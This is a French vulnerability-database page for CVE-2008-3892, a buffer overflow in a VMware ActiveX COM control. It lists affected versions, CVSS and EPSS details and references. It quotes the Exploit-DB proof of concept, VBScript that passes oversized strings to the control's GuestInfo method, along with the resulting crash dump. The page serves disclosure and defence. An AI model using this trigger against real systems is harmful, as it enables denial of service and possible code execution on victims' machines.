CVE-2008-3892 : Détail

CVE-2008-3892

Overflow
74.07%V3
Network
2008-09-03
12h00 +00:00
2018-10-11
17h57 +00:00
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Descriptions du CVE

Buffer overflow in a certain ActiveX control in the COM API in VMware Workstation 5.5.x before 5.5.8 build 108000, VMware Workstation 6.0.x before 6.0.5 build 109488, VMware Player 1.x before 1.0.8 build 108000, VMware Player 2.x before 2.0.5 build 109488, VMware ACE 1.x before 1.0.7 build 108880, VMware ACE 2.x before 2.0.5 build 109488, and VMware Server before 1.0.7 build 108231 allows remote attackers to cause a denial of service (browser crash) or possibly execute arbitrary code via a call to the GuestInfo method in which there is a long string argument, and an assignment of a long string value to the result of this call. NOTE: this may overlap CVE-2008-3691, CVE-2008-3692, CVE-2008-3693, CVE-2008-3694, CVE-2008-3695, or CVE-2008-3696.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 10 AV:N/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 6345

Date de publication : 2008-08-31 22h00 +00:00
Auteur : shinnai
EDB Vérifié : Yes

----------------------------------------------------------------------------- VMWare COM API Buffer Overflow url: http://www.vmware.com/ Author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.net This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on Windows XP Professional SP3 all patched, with Internet Explorer 7 ----------------------------------------------------------------------------- <object classid='clsid:38DB77F9-058D-4955-98AA-4A9F3B6A5B06' id='test'></object> <input language=VBScript onclick=tryMe() type=button value='Click here to start the test'> <script language='vbscript'> Sub tryMe buff_1 = String (2000, "a") buff_2 = String (2000, "b") test.GuestInfo (buff_1) = buff_2 End Sub </script> Dump: 09:25:39.339 pid=0640 tid=0504 EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [00000070]) ---------------------------------------------------------------- EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07 ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00 EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00 ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07 EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90 --> MOV EDX,[ECX+70] ---------------------------------------------------------------- 09:25:39.339 pid=0640 tid=0504 EXCEPTION (unhandled) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [00000070]) ---------------------------------------------------------------- EAX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EBX=0012BE14: 61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61 ECX=00000000: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? EDX=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07 ESP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00 EBP=0012BDE4: 00 BE 12 00 17 AC A5 02-00 00 00 00 00 00 00 00 ESI=002F8010: 00 00 00 00 00 00 00 00-00 00 00 00 00 0E 27 07 EDI=0012CDB8: 62 62 62 62 62 62 62 62-62 62 62 62 62 62 62 62 EIP=02A6CBBF: 8B 51 70 8B 02 5D C3 90-90 90 90 90 90 90 90 90 --> MOV EDX,[ECX+70] ---------------------------------------------------------------- # milw0rm.com [2008-09-01]

Products Mentioned

Configuraton 0

Vmware>>Ace >> Version From (including) 1.0 To (excluding) 1.0.7

Vmware>>Ace >> Version From (including) 2.0 To (excluding) 2.0.5

Vmware>>Player >> Version From (including) 1.0.0 To (excluding) 1.0.8

Vmware>>Player >> Version From (including) 2.0 To (excluding) 2.0.5

Vmware>>Server >> Version To (excluding) 1.0.7

Vmware>>Workstation >> Version From (including) 5.5 To (excluding) 5.5.8

Vmware>>Workstation >> Version From (including) 6.0 To (excluding) 6.0.5

Références

https://www.exploit-db.com/exploits/6345
Tags : exploit, x_refsource_EXPLOIT-DB
http://secunia.com/advisories/31709
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/31710
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/30934
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/31707
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/31708
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/29503
Tags : vdb-entry, x_refsource_BID
http://securityreason.com/securityalert/4202
Tags : third-party-advisory, x_refsource_SREASON
http://www.vupen.com/english/advisories/2008/2466
Tags : vdb-entry, x_refsource_VUPEN